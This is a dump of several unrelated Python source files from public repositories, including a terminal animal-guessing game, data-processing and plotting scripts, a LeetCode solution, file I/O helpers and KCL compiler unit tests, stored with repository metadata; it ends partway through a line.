def answer_question(self, question_key):\n if question_key:\n question = questions[question_key]['question']\n answer = self.validate_answer(question, input(self.format_question(question)))\n answer = self.convert_answer(answer)\n # print('answer--------')\n # print(question)\n self.modify_query(question_key, answer)\n\n def ask_question(self):\n \"\"\"use the viable_questions returned from find_viable_question\n to run a query regarding the viable question in the database.\n \"\"\"\n\n viable_questions = self.find_viable_questions()\n question_key = random.choice(viable_questions)\n if question_key == 'class_type':\n self.identify_class_type()\n elif question_key == 'legs':\n self.identify_legs()\n else:\n print(question_key)\n self.answer_question(question_key)\n return question_key\n\n def find_viable_questions(self):\n \"\"\"find viable questions based on the animal feature keys of the array such as ‘hair’.\n If all animal have the same feature, the question about that feature is not viable.\n Returns\n ------\n viable_questions: list\n a list of dictionaries' keys where at lease one animal has a distinct value\n \"\"\"\n viable_questions = []\n keys = list(self.animal_data[0].keys())\n keys.remove('id')\n keys.remove('animal_name')\n\n for key in keys:\n for animal in self.animal_data:\n if animal[key] != self.animal_data[0][key]:\n viable_questions.append(key)\n viable_questions = list(set(viable_questions))\n\n return viable_questions\n\n def find_viable_class_values(self):\n class_values = []\n for animal in self.animal_data:\n class_values.append(animal['class_type'])\n class_values = list(set(class_values))\n # print(class_values)\n return class_values\n\n def find_viable_leg_values(self):\n leg_values = []\n for animal in self.animal_data:\n leg_values.append(animal['legs'])\n leg_values = list(set(leg_values))\n return leg_values\n\n def identify_class_type(self):\n \"\"\"identify the class type of the animal by asking question and validate the answer,\n run the query in the database using the value based on answer returned from validate_answer.\n Attribute\n ---------\n class_type: int\n the number of the animal's class type (mammal is 1, fish is 2)\n \"\"\"\n\n question, value = self.generate_random_class_type_question()\n answer = input(self.format_question(question))\n answer = self.validate_answer(question, answer)\n\n if answer == 'yes':\n questions['class_type']['viable'] = False\n self.modify_query('class_type', value)\n else:\n self.modify_query('class_type', value, conditional=False)\n\n def generate_random_class_type_question(self):\n \"\"\"generate random question about animal class by using the value in questions.py\n return value and question\"\"\"\n\n viable_questions = self.identify_viable_class_type_questions()\n class_type_key = random.choice(viable_questions)\n class_type = questions['class_type']['class_type_questions'][class_type_key]\n class_type['viable'] = False\n\n return class_type['question'], class_type['value']\n\n def identify_viable_class_type_questions(self):\n viable_questions = []\n class_values = self.find_viable_class_values()\n class_types = questions['class_type']['class_type_questions']\n for key, value in class_types.items():\n for v in class_values:\n if value['viable'] and v == value['value']:\n viable_questions.append(key)\n return viable_questions\n\n def identify_legs(self):\n question, value = self.generate_random_legs_question()\n answer = input(self.format_question(question))\n answer = self.validate_answer(question, answer)\n\n if answer == 'yes':\n questions['legs']['viable'] = False\n self.modify_query('legs', value)\n else:\n self.modify_query('legs', value, conditional=False)\n\n def generate_random_legs_question(self):\n viable_questions = self.identify_viable_legs_questions()\n leg_key = random.choice(viable_questions)\n legs = questions['legs']['leg_questions'][leg_key]\n legs['viable'] = False\n\n return legs['question'], legs['value']\n\n def identify_viable_legs_questions(self):\n viable_questions = []\n leg_values = self.find_viable_leg_values()\n legs = questions['legs']['leg_questions']\n for key, value in legs.items():\n for v in leg_values:\n if value['viable'] and v == value['value']:\n viable_questions.append(key)\n return viable_questions\n\n @staticmethod\n def format_question(question):\n \"\"\"append (yes/no) to a string\n Argument\n --------\n question: str\n question in questions.py\n \"\"\"\n\n return f'{question} (yes/no): '\n\n def guess_animal(self):\n \"\"\"guess the animal and analyze the answer\"\"\"\n\n # print(self.animal_data)\n animal = random.choice(self.animal_data)\n name = animal['animal_name']\n question = f'is {name} your animal?'\n animal_answer = input(self.format_question(question))\n animal_answer = self.validate_answer(question, animal_answer)\n self.rounds += 1\n if animal_answer == 'yes':\n print(\"I won!\")\n else:\n if self.rounds < 10 and len(self.animal_data) > 1:\n self.animal_data.remove(animal)\n self.guess_animal()\n else:\n print(\"I lost!\")\n\n def validate_answer(self, question, answer):\n \"\"\"Validate the answer input by the user. So only ‘yes’ or ‘no’ can be answered.\n Return the answer to its function.\n Returns\n -------\n answer: str\n answer input by the user. ('yes' or 'no')\n \"\"\"\n if answer == 'yes':\n return answer\n if answer == 'no':\n return answer\n else:\n print('Invalid Answer! Please type \"yes\" or \"no\"')\n answer = input(self.format_question(question))\n self.validate_answer(question, answer)\n return answer\n\n def convert_answer(self, answer):\n \"\"\"convert the answer from ask_question into values\n Argument\n --------\n answer: str\n 'yes' or 'no\n Returns\n ------\n int\n int 1 or 0\n \"\"\"\n return 1 if answer == 'yes' else 0\n\n def modify_query(self, key, value, conditional=True):\n if self.rounds == 0:\n self.query = f'{self.query} where {key} {\"=\" if conditional else \"!=\"} {value}'\n else:\n self.query = f'{self.query} and {key} {\"=\" if conditional else \"!=\"} {value}'\n\nif __name__ == '__main__':\n g = Game()\n g.main()","repo_name":"madeleinema-cee/think-of-an-animal-flask","sub_path":"terminalgame.py","file_name":"terminalgame.py","file_ext":"py","file_size_in_byte":9607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"73243776745","text":"import pandas as pd\n\ndf = pd.read_table('human_plasmids.tsv')\npd.set_option('display.max_columns', None)\nprint(df)\n\ndf_filtered = df.dropna(subset=['IsolationSource_BIOSAMPLE'])\nprint(df_filtered)\n\nhealthy = df_filtered[df_filtered[\"IsolationSource_BIOSAMPLE\"].str.contains(\"healthy\")]\nprint(healthy)\nhealthy.to_csv(\"healthy.csv\", index=False, header=False)\n\nsick = df_filtered[df_filtered[\"IsolationSource_BIOSAMPLE\"].str.contains(\"healthy\") == False]\nprint(sick)\nsick.to_csv(\"sick.csv\", index=False, header=False)\n\n\n\n","repo_name":"olapok/human_plasmids","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"26419254933","text":"import numpy as np\r\nimport imageio\r\nimport cv2\r\n\r\n\r\nb, g, r = [[255, 0, 0], [0, 255, 0], [0, 0, 255]]\r\ntop_offset = 30\r\n\r\ndef open_images(images_paths):\r\n '''\r\n Returns a list of tuples containing (original_image, image_labelled)\r\n '''\r\n data = []\r\n\r\n for (path_original, path_train) in images_paths:\r\n print(\"Reading images:\", path_train, path_original)\r\n\r\n original = np.array(imageio.imread(path_original))\r\n label = np.array(imageio.imread(path_train))\r\n data.append((original, label))\r\n\r\n return data\r\n\r\n\r\ndef predicted_in(start, end, n_frames):\r\n n_seconds = end - start\r\n print(\"Predicted in {} seconds {} frames. That is {} seconds/frame\".format(\r\n n_seconds, n_frames, n_seconds / n_frames))\r\n \r\ndef get_sections_img(clf, frame):\r\n '''\r\n Returns and image of same size of frame where every pixel is classify\r\n in one of the possible classes (background=green, line=blue or \r\n red=sign)\r\n '''\r\n normalized = normalized_img(frame)\r\n labels = clf.predict(normalized)\r\n color_labels = labels2sections(frame, labels)\r\n return color_labels\r\n\r\ndef write_text(img, texts):\r\n # https://gist.github.com/aplz/fd34707deffb208f367808aade7e5d5c\r\n bck = (0, 0, 0)\r\n color = (255, 255, 255)\r\n \r\n font = cv2.FONT_HERSHEY_SIMPLEX \r\n font_scale = 0.7\r\n texts_sizes = [cv2.getTextSize(text, font, fontScale=font_scale, thickness=1)[0] for text in texts]\r\n\r\n text_width, text_height = max([s[0] for s in texts_sizes]), sum([s[1] for s in texts_sizes]) + 10 * (len(texts) - 1)\r\n\r\n padding = 6\r\n box_coords = ((0,0), (text_width + padding, text_height + padding + 15))\r\n\r\n img = cv2.rectangle(img, box_coords[0], box_coords[1], bck, cv2.FILLED)\r\n \r\n for i, text in enumerate(texts):\r\n padding_top = 0 if i == 0 else sum(s[1] for s in texts_sizes[:i]) + 10 * i\r\n img = cv2.putText(img, text, (padding, padding + 15 + padding_top), font, fontScale=font_scale, color=color, thickness=1)\r\n\r\n return img\r\n ","repo_name":"onmax/Robotics","sub_path":"scene-detection/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"28798734781","text":"def add():\n x = int(input(\"Enter your first number.\"))\n y = int(input(\"Enter your second number.\"))\n z = x + y\n print(\"The sum of these numbers is\", z)\n\n\n\ndef subtract():\n x = int(input(\"Enter your first number.\"))\n y = int(input(\"Enter your second number.\"))\n z = x - y\n print(\"The difference of these numbers is\", z)\n\n\n\ndef multiply():\n x = int(input(\"Enter your first number.\"))\n y = int(input(\"Enter your second number.\"))\n z = x * y\n print(\"The product of these numbers is\", z)\n\n\n\ndef divide():\n x = int(input(\"Enter your first number.\"))\n y = int(input(\"Enter your second number.\"))\n z = x / y\n print(\"The quotient of these numbers is\", z)\n\n\n\ndef string1():\n string = str(input(\"Enter a string.\"))\n vowels = 'aeiou'\n count = 0\n for s in string:\n if s in vowels: count = count + 1\n print(\"There are\", count, \"vowels in this string.\")\n\ndef string2():\n message = input(\"Enter a message to encode.\")\n print(\"\\n Here is the encrypted message.\")\n for i in message:\n x = ord(i)\n print(\" \", x + 5, end=\"\")\n print()\n\ndef main():\n global message\n choice = int(input(\"For mathematical functions, please enter the number 1.\\nFor String Operations, please enter the number 2.\"))\n if choice == 1:\n operation = int(input(\"For Addition, Please Enter the Number 1. \\nFor Subtraction, Please Enter The Number 2. \\nFor Multiplication, Please Enter the Number 3. \\nFor Division, Please Enter the Number 4.\"))\n if operation == 1:\n add()\n elif operation == 2:\n subtract()\n elif operation == 3:\n multiply()\n elif operation == 4:\n divide()\n else: print(\"Please only enter a number ranging 1-4.\")\n if choice == 2:\n x = int(input(\"To Determine the Number of Vowels in a String; Enter the Number 1 \\nTo Encrypt a String; Enter the Number 2\"))\n if x == 1:\n string1()\n elif x == 2:\n string2()\n else: print(\"Please only enter a number ranging 1-2.\")\n if choice != 1 and choice != 2:\n print(\"Please only enter a number ranging 1-2.\")\nmain()\n\n\n","repo_name":"Eric-Wonbin-Sang/CS110Manager","sub_path":"2020F_quiz_2_pt_2_submissions/mehtaom/quiz2.py","file_name":"quiz2.py","file_ext":"py","file_size_in_byte":2168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"39867974333","text":"import pandas as pd \nimport matplotlib.pyplot as plt\nimport numpy as np\nimport argparse\nfrom mpl_toolkits.mplot3d import Axes3D\n\n\nparser = argparse.ArgumentParser(description='Process some integers.')\nparser.add_argument('-N', '--number' , type=int, nargs=1, help='number of csv files')\nparser.add_argument('-M', '--mode', nargs=1, help='mode: example xy or xyz')\n\n\nargs = parser.parse_args()\n\nprint(args)\n\nN = int( args.number[0])\nname = args.mode[0][1:]\n\nfig = plt.figure()\n\nif name == 'xz': \n print(\"ddddddddddddd\")\n plt.axis('equal')\n plt.xlim(-5 ,5)\n plt.ylim(-5,10)\n\n for i in range(0,N):\n db = pd.read_csv( 'files/photon%d.csv'%i, names=['t','x','y','z','pt','px','py','pz']) \n #print(db)\n plt.plot( db['x'],db['z'] )\nif name == 'xy': \n plt.axis('equal')\n plt.xlim(-5 ,5)\n plt.ylim(-5,10)\n\n for i in range(0,N):\n db = pd.read_csv( 'files/photon%d.csv'%i, names=['t','x','y','z','pt','px','py','pz']) \n #print(db)\n plt.plot( db['x'],db['y'] )\nelif name == 'xyz':\n ax = fig.add_subplot(111, projection='3d')\n\n #plt.axis('equal')\n plt.xlim(-10,10)\n plt.ylim(-10,10)\n ax.set_zlim(-10,10)\n\n for i in range(0,N):\n db = pd.read_csv( 'files/photon%d.csv'%i, names=['t','x','y','z','pt','px','py','pz']) \n #print(db)\n ax.plot( db['x'], db['y'],db['z'])\n\n\nplt.show()","repo_name":"DavidDevoogdt/BlackHoleSimulator","sub_path":"src/plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"20220800747","text":"def print_image(image, empty=\" \", full=\"* \"):\n for line in image:\n for c in line:\n if c:\n print(full, end=\"\")\n else:\n print(empty, end=\"\")\n print()\n\n\ndef print_linked_list(node, end=\" \", file=None):\n visited = set()\n while node and node not in visited:\n print(node.x, end=end, file=file)\n visited.add(node)\n node = node.right\n print()\n\n\ndef print_grid_from_complex(points: set[complex], empty=\".\", full=\"*\", flip_y=False):\n \"\"\"Print a grid from dict {complex:bool}. Can custom 'empty' and 'full' character, as well\n as flip_y to chooose if low y shuold be on top (don't flip) or bottom (flip)\"\"\"\n # normalize grid\n all_imags = set(p.imag for p in points)\n all_reals = set(p.real for p in points)\n min_y, max_y = int(min(all_imags)), int(max(all_imags))\n min_x, max_x = int(min(all_reals)), int(max(all_reals))\n height = max_y - min_y + 1\n width = max_x - min_x + 1\n # compute normalized grid\n grid = [[False for _ in range(width)] for _ in range(height)]\n for point in points:\n y = int(point.imag) - min_y\n y = height - 1 - y if flip_y else y\n grid[y][int(point.real) - min_x] = 1\n # print\n print_image(grid, empty=empty, full=full)\n","repo_name":"Perruccio/advent-of-code","sub_path":"advent_of_code/lib/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"14822654079","text":"#\n# @lc app=leetcode.cn id=103 lang=python3\n#\n# [103] 二叉树的锯齿形层次遍历\n#\n# https://leetcode-cn.com/problems/binary-tree-zigzag-level-order-traversal/description/\n#\n# algorithms\n# Medium (49.29%)\n# Likes: 61\n# Dislikes: 0\n# Total Accepted: 10.7K\n# Total Submissions: 21.7K\n# Testcase Example: '[3,9,20,null,null,15,7]'\n#\n# 给定一个二叉树,返回其节点值的锯齿形层次遍历。(即先从左往右,再从右往左进行下一层遍历,以此类推,层与层之间交替进行)。\n#\n# 例如:\n# 给定二叉树 [3,9,20,null,null,15,7],\n#\n# ⁠ 3\n# ⁠ / \\\n# ⁠ 9 20\n# ⁠ / \\\n# ⁠ 15 7\n#\n#\n# 返回锯齿形层次遍历如下:\n#\n# [\n# ⁠ [3],\n# ⁠ [20,9],\n# ⁠ [15,7]\n# ]\n#\n#\n#\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n\nclass Solution:\n def zigzagLevelOrder(self, root: TreeNode) -> List[List[int]]:\n res = []\n if root is None:\n return res\n queue = [root]\n flag = True\n while len(queue):\n temp = []\n arr = []\n for node in queue:\n if node.left != None:\n temp.append(node.left)\n if node.right != None:\n temp.append(node.right)\n if not flag:\n queue.reverse()\n for node in queue:\n arr.append(node.val)\n res.append(arr)\n queue = temp\n flag = not flag\n return res\n","repo_name":"ZodiacSyndicate/leet-code-solutions","sub_path":"medium/103.二叉树的锯齿形层次遍历/103.二叉树的锯齿形层次遍历.py","file_name":"103.二叉树的锯齿形层次遍历.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"36"} +{"seq_id":"28198262126","text":"import os\nimport pickle\nimport time\nimport zipfile as zf\nfrom pathlib import Path\n\nfrom pandas import Series, DataFrame, read_parquet\n\nfrom diive.core.io.filereader import MultiDataFileReader\nfrom diive.core.times.times import TimestampSanitizer\n\n\ndef set_outpath(outpath: str or None, filename: str, fileextension: str):\n if outpath:\n outpath = Path(outpath)\n filepath = Path(outpath) / f\"{filename}.{fileextension}\"\n else:\n filepath = f\"{filename}.{fileextension}\"\n return filepath\n\n\ndef save_parquet(filename: str, data: DataFrame or Series, outpath: str or None = None) -> str:\n \"\"\"\n Save pandas Series or DataFrame as parquet file\n\n Args:\n filename: str\n Name of the generated parquet file.\n data: pandas Series or DataFrame\n outpath: str or None\n If *None*, file is saved to system default folder. When used within\n a notebook, the file is saved in the same location as the notebook.\n\n Returns:\n str, filepath to parquet file\n \"\"\"\n filepath = set_outpath(outpath=outpath, filename=filename, fileextension='parquet')\n tic = time.time()\n data.to_parquet(filepath)\n toc = time.time() - tic\n print(f\"Saved file {filepath} ({toc:.3f} seconds).\")\n return str(filepath)\n\n\ndef load_parquet(filepath: str or Path) -> DataFrame:\n \"\"\"\n Load data from Parquet file to pandas DataFrame\n\n Args:\n filepath: str\n filepath to parquet file\n\n Returns:\n pandas DataFrame, data from Parquet file as pandas DataFrame\n \"\"\"\n tic = time.time()\n df = read_parquet(filepath)\n toc = time.time() - tic\n # Check timestamp, also detects frequency of time series, this info was lost when saving to the parquet file\n df = TimestampSanitizer(data=df).get()\n print(f\"Loaded .parquet file {filepath} ({toc:.3f} seconds). \"\n f\"Detected time resolution of {df.index.freq} / {df.index.freqstr} \")\n return df\n\n\ndef save_as_pickle(outpath: str or None, filename: str, data) -> str:\n \"\"\"Save data as pickle\"\"\"\n filepath = set_outpath(outpath=outpath, filename=filename, fileextension='pickle')\n tic = time.time()\n pickle_out = open(filepath, \"wb\")\n pickle.dump(data, pickle_out)\n pickle_out.close()\n toc = time.time() - tic\n print(f\"Saved pickle {filepath} ({toc:.3f} seconds).\")\n return str(filepath)\n\n\ndef load_pickle(filepath: str):\n \"\"\"Import data from pickle\"\"\"\n tic = time.time()\n pickle_in = open(filepath, \"rb\")\n data = pickle.load(pickle_in)\n toc = time.time() - tic\n print(f\"Loaded pickle {filepath} ({toc:.3f} seconds).\")\n return data\n\n\ndef unzip_file(filepath):\n \"\"\" Unzips zipped file in filepath\n\n Unzips the zipped file to a temporary directory, which is later, after\n data have been read in, deleted.\n\n Returns the filepath to the unzipped file and the directory to which\n the zipped file has been extracted to.\n \"\"\"\n with zf.ZipFile(filepath, 'r') as zip_ref:\n # dir as string, w/ .amp.temp at the end of dir name\n dir_temp_unzipped = '{}{}'.format(filepath, \".temp\")\n zip_ref.extractall(dir_temp_unzipped)\n\n ext = '.csv'\n dir_temp_unzipped = Path(dir_temp_unzipped) # give dir as Path\n filename_unzipped = Path(dir_temp_unzipped).stem # remove .temp for filename, only .amp, stem makes str\n filename_unzipped = Path(filename_unzipped).with_suffix(ext) # replace .amp with .csv\n filepath = dir_temp_unzipped / filename_unzipped\n return filepath, dir_temp_unzipped\n\n\ndef loadfiles(sourcedir: str, fileext: str, filetype: str,\n idstr: str, limit_n_files: int = None) -> DataFrame:\n \"\"\"Search and load data files of type *filetype*, merge data and store to one dataframe\"\"\"\n print(f\"\\nSearching for {filetype} files with extension {fileext} and\"\n f\"ID {idstr} in folder {sourcedir} ...\")\n filepaths = [f for f in os.listdir(sourcedir) if f.endswith(fileext)]\n filepaths = [f for f in filepaths if idstr in f]\n filepaths = [sourcedir + \"/\" + f for f in filepaths]\n filepaths = [Path(f) for f in filepaths]\n print(f\" Found {len(filepaths)} files:\")\n [print(f\" --> {f}\") for f in filepaths]\n if limit_n_files:\n filepaths = filepaths[0:limit_n_files]\n mergedfiledata = MultiDataFileReader(filetype=filetype, filepaths=filepaths)\n return mergedfiledata.data_df\n","repo_name":"holukas/diive","sub_path":"diive/core/io/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":4422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"1946829125","text":"import os\nimport shutil\nimport unittest\nimport pathlib\n\nimport kclvm.api.object as objpkg\nimport kclvm.api.object.internal as obj_internal\nimport kclvm.kcl.ast as ast\nimport kclvm.kcl.types as types\nimport kclvm.compiler.vfs as vfs\nfrom kclvm.kcl.error import KCLCompileException\nfrom kclvm.kcl.error.kcl_error import IllegalArgumentSyntaxError\nfrom kclvm.kcl.types import ProgramScope, Scope\nfrom kclvm.compiler.parser import LoadProgram\nfrom kclvm.compiler.build.compiler import RuntimeCode, CompileProgram, Compiler, SymbolScope\nfrom kclvm.compiler.extension.builtin import get_builtin_func_objects\nfrom kclvm.vm.code import Opcode, Label\n\ncode_empty_list = [\"\"\"\"\"\", \"\"\"\"\"\"]\ncode_simple_list = [\n \"\"\"\nschema Person:\n name: str\n\na = 1\n\"\"\",\n \"\"\"\nb = a\nperson = Person {\n name: \"Alice\"\n}\n\"\"\",\n]\npath = str(pathlib.Path(__file__).parent)\n\n\nclass KCLCompilerBuildTest(unittest.TestCase):\n def test_runtime_code(self):\n runtime_code = RuntimeCode(\n names=[],\n constants=[],\n codes=[],\n )\n self.assertEqual(runtime_code.type(), objpkg.KCLObjectType.RUNTIME_CODE)\n self.assertEqual(runtime_code.type_str(), \"runtime_code\")\n\n def test_compile_program_empty(self):\n compiled_program = CompileProgram(LoadProgram(path, k_code_list=code_empty_list))\n self.assertEqual(compiled_program.main, \"__main__\")\n self.assertEqual(len(compiled_program.pkgs[compiled_program.main].names), 0)\n self.assertEqual(\n len(compiled_program.pkgs[compiled_program.main].constants),\n len(get_builtin_func_objects()),\n )\n\n def test_compile_program_simple(self):\n compiled_program = CompileProgram(\n LoadProgram(path, k_code_list=code_simple_list)\n )\n self.assertEqual(compiled_program.main, \"__main__\")\n self.assertEqual(len(compiled_program.pkgs[compiled_program.main].names), 9)\n\n def test_compile_program_invalid(self):\n testdata_path = pathlib.Path(__file__).parent.joinpath(\"invalid_testdata\")\n cases = testdata_path.glob(\"*.k\")\n for case in cases:\n with self.assertRaises(KCLCompileException):\n CompileProgram(LoadProgram(case, work_dir=str(testdata_path)))\n\n\n def test_compile_program_invalid_nest_import(self):\n testdata_path = pathlib.Path(__file__).parent.joinpath(\"invalid_testdata\").joinpath(\"nest_import\")\n cases = testdata_path.glob(\"main.k\")\n for case in cases:\n with self.assertRaises(KCLCompileException):\n CompileProgram(LoadProgram(case, work_dir=str(testdata_path)))\n\n\nclass KCLCompilerWalkerFunctionTest(unittest.TestCase):\n def setUp(self):\n scope = ProgramScope(scope_map={\"__main__\": Scope()})\n self.fake_compiler = Compiler(scope)\n self.fake_compiler.pkgpath = \"__main__\"\n self.fake_compiler.pkg_scope = program_scope = types.ResolveProgram(\n LoadProgram(path, k_code_list=code_simple_list)\n ).main_scope\n self.err_compiler = Compiler(scope)\n self.err_compiler.scopes = None\n super().setUp()\n\n def test_generic_compiler_functions(self):\n # Expr\n numberlit = ast.NumberLit(value=1)\n # Stmt\n exprstmt = ast.ExprStmt()\n exprstmt.exprs = [numberlit]\n # Module\n module = ast.Module()\n module.body = [exprstmt]\n self.fake_compiler.generic_walk(module)\n self.fake_compiler.generic_walk(exprstmt)\n self.fake_compiler.generic_walk(numberlit)\n self.fake_compiler.expr(None)\n self.fake_compiler.stmt(None)\n\n def test_generic_compiler_functions_invalid(self):\n with self.assertRaises(KCLCompileException):\n self.fake_compiler.generic_walk(None)\n with self.assertRaises(KCLCompileException):\n self.fake_compiler.raise_err(\"Raise an error\")\n with self.assertRaises(KCLCompileException):\n self.fake_compiler.change_operand(0, 100, 0)\n with self.assertRaises(KCLCompileException):\n self.err_compiler.leave_scope()\n with self.assertRaises(KCLCompileException):\n self.err_compiler.add_instruction([0])\n with self.assertRaises(Exception):\n self.fake_compiler.make_func_with_content(None, None)\n with self.assertRaises(AttributeError):\n self.err_compiler.enter_scope()\n\n def test_emit_call_invalid(self):\n keyword = ast.Keyword()\n keyword.arg = ast.Identifier(names=[\"x\"])\n keyword.value = ast.NumberLit(value=1)\n keywords = [keyword, keyword]\n with self.assertRaises(KCLCompileException):\n self.fake_compiler.emit_call([], keywords)\n\n def test_set_jmp_invalid(self):\n op, label = Opcode.NOP, Label()\n with self.assertRaises(KCLCompileException):\n self.fake_compiler.set_jmp(op, label)\n\n def test_op_decorator(self):\n keyword = ast.Keyword()\n keyword.arg = ast.Identifier(names=[\"x\"])\n keyword.value = ast.NumberLit(value=1)\n args = ast.CallExpr()\n args.args = []\n args.keywords = [keyword]\n cases = [\n {\n \"name\": \"Deprecated\",\n \"key\": \"Person\",\n \"args\": None,\n \"target\": obj_internal.DecoratorTargetType.SCHEMA_TYPE,\n },\n {\n \"name\": \"Deprecated\",\n \"key\": \"Person\",\n \"args\": args,\n \"target\": obj_internal.DecoratorTargetType.SCHEMA_TYPE,\n },\n ]\n for case in cases:\n name, key, args, target = case[\"name\"], case[\"key\"], case[\"args\"], case[\"target\"]\n self.fake_compiler.op_decorator(name, key, args, target)\n\n def test_op_decorator_invalid(self):\n keyword = ast.Keyword()\n keyword.arg = ast.Identifier(names=[\"x\"])\n keyword.value = ast.NumberLit(value=1)\n args = ast.CallExpr()\n args.args = []\n args.keywords = [keyword, keyword]\n cases = [\n {\n \"name\": \"Deprecated\",\n \"key\": \"Person\",\n \"args\": args,\n \"target\": obj_internal.DecoratorTargetType.SCHEMA_TYPE,\n },\n {\n \"name\": None,\n \"key\": \"Person\",\n \"args\": args,\n \"target\": obj_internal.DecoratorTargetType.SCHEMA_TYPE,\n },\n ]\n for case in cases:\n name, key, args, target = case[\"name\"], case[\"key\"], case[\"args\"], case[\"target\"]\n with self.assertRaises(KCLCompileException):\n self.fake_compiler.op_decorator(name, key, args, target)\n\n def test_store_symbol(self):\n self.fake_compiler.store_symbol(\"key\")\n with self.assertRaises(KCLCompileException):\n self.fake_compiler.store_symbol(\"key\")\n self.fake_compiler.store_symbol(\"_key\", scope=SymbolScope.INTERNAL)\n self.fake_compiler.store_symbol(\"_key\", scope=SymbolScope.INTERNAL)\n\n def test_load_symbol(self):\n with self.assertRaises(KCLCompileException):\n self.fake_compiler.load_symbol(None)\n with self.assertRaises(KCLCompileException):\n self.fake_compiler.load_symbol(\"_err_test_key\")\n\n def test_walk_module(self):\n module = ast.Module()\n self.fake_compiler.walk_Module(module)\n\n def test_walk_expr_stmt(self):\n expr_stmt = ast.ExprStmt()\n expr_stmt.exprs = [ast.NumberLit(value=1)]\n self.fake_compiler.walk_ExprStmt(expr_stmt)\n self.fake_compiler._is_in_schema_stmt.append(True)\n self.fake_compiler.walk_ExprStmt(expr_stmt)\n self.fake_compiler._is_in_schema_stmt.pop()\n\n def test_walk_schema_stmt_invalid(self):\n schema_stmt = ast.SchemaStmt()\n schema_stmt.pkgpath = \"__main__\"\n schema_stmt.name = \"Person\"\n schema_stmt.decorators = [ast.Decorator()]\n with self.assertRaises(AttributeError):\n self.fake_compiler.walk_SchemaStmt(schema_stmt)\n # Invalid schema mixin name\n name = ast.Identifier(names=[\"pkg\", \"MixinError\"])\n name.pkgpath = \"@pkg\"\n schema_stmt.mixins = [name]\n with self.assertRaises(KCLCompileException):\n self.fake_compiler.walk_SchemaStmt(schema_stmt)\n # Invalid schema parent name\n schema_stmt.parent_name = ast.Identifier(names=[\"PersonMixin\"])\n with self.assertRaises(KCLCompileException):\n self.fake_compiler.walk_SchemaStmt(schema_stmt)\n\n def test_walk_schema_attr_invalid(self):\n schema_attr = ast.SchemaAttr()\n schema_attr.decorators = [ast.Decorator()]\n with self.assertRaises(AttributeError):\n self.fake_compiler.walk_SchemaAttr(schema_attr)\n\n def test_make_func_with_content_invalid_by_defaults(self):\n file_path = str(pathlib.Path(__file__).parent.joinpath(\"invalid_testdata/defaults_not_full_invalid/main.k\"))\n try:\n CompileProgram(LoadProgram(file_path))\n except IllegalArgumentSyntaxError as err:\n self.assertEqual(err.arg_msg, \"non-default argument follows default argument\")\n\n def test_walk_index_signature_invalid(self):\n with self.assertRaises(KCLCompileException):\n t = ast.SchemaIndexSignature()\n t.key_type = \"err_str\"\n self.fake_compiler.walk_SchemaIndexSignature(t)\n\n def test_walk_unary_expr_invalid(self):\n unary_expr = ast.UnaryExpr()\n with self.assertRaises(KCLCompileException):\n self.fake_compiler.walk_UnaryExpr(unary_expr)\n\n def test_walk_binary_expr(self):\n bin_expr = ast.BinaryExpr()\n bin_expr.left = ast.NumberLit(value=1)\n bin_expr.right = ast.NumberLit(value=1)\n bin_expr.op = ast.BinOp.Add\n self.fake_compiler.walk_BinaryExpr(bin_expr)\n bin_expr.op = ast.CmpOp.Eq\n self.fake_compiler.walk_BinaryExpr(bin_expr)\n bin_expr.op = ast.UnaryOp.Invert\n with self.assertRaises(KCLCompileException):\n self.fake_compiler.walk_BinaryExpr(bin_expr)\n\n def test_walk_selector_expr(self):\n selector_expr = ast.SelectorExpr()\n key = ast.Identifier(names=[\"selector_key\"])\n key.ctx = ast.ExprContext.STORE\n self.fake_compiler.walk_Identifier(key)\n key.ctx = ast.ExprContext.LOAD\n selector_expr.value = key\n selector_expr.attr = ast.Identifier(names=[\"key\"])\n selector_expr.ctx = ast.ExprContext.LOAD\n self.fake_compiler.walk_SelectorExpr(selector_expr)\n selector_expr.has_question = True\n self.fake_compiler.walk_SelectorExpr(selector_expr)\n selector_expr.ctx = ast.ExprContext.AUGLOAD\n self.fake_compiler.walk_SelectorExpr(selector_expr)\n selector_expr.ctx = ast.ExprContext.AUGSTORE\n self.fake_compiler.walk_SelectorExpr(selector_expr)\n\n def test_walk_subscript(self):\n subscript = ast.Subscript()\n subscript.value = ast.StringLit(value=\"123\")\n subscript.index = ast.NumberLit(value=0)\n subscript.has_question = True\n self.fake_compiler.walk_Subscript(subscript) \n\n\nclass KCLCompilerProgramScopeTest(unittest.TestCase):\n def test_get_type_from_identifier(self):\n file_path = str(pathlib.Path(__file__).parent.joinpath(\"scope_testdata/main.k\"))\n scope = types.ResolveProgram(\n LoadProgram(file_path)\n )\n compiler = Compiler(scope)\n self.assertIsInstance(compiler.get_type_from_identifier(None), objpkg.KCLAnyTypeObject)\n identifier = ast.Identifier(names=[\"Sub\"])\n self.assertIsInstance(compiler.get_type_from_identifier(identifier), objpkg.KCLSchemaDefTypeObject)\n del compiler.pkg_scope.elems[\"Sub\"]\n self.assertIsInstance(compiler.get_type_from_identifier(identifier), objpkg.KCLAnyTypeObject)\n identifier = ast.Identifier(names=[\"pkg\", \"Base\"])\n self.assertIsInstance(compiler.get_type_from_identifier(identifier), objpkg.KCLAnyTypeObject)\n identifier.pkgpath = \"@pkg\"\n self.assertIsInstance(compiler.get_type_from_identifier(identifier), 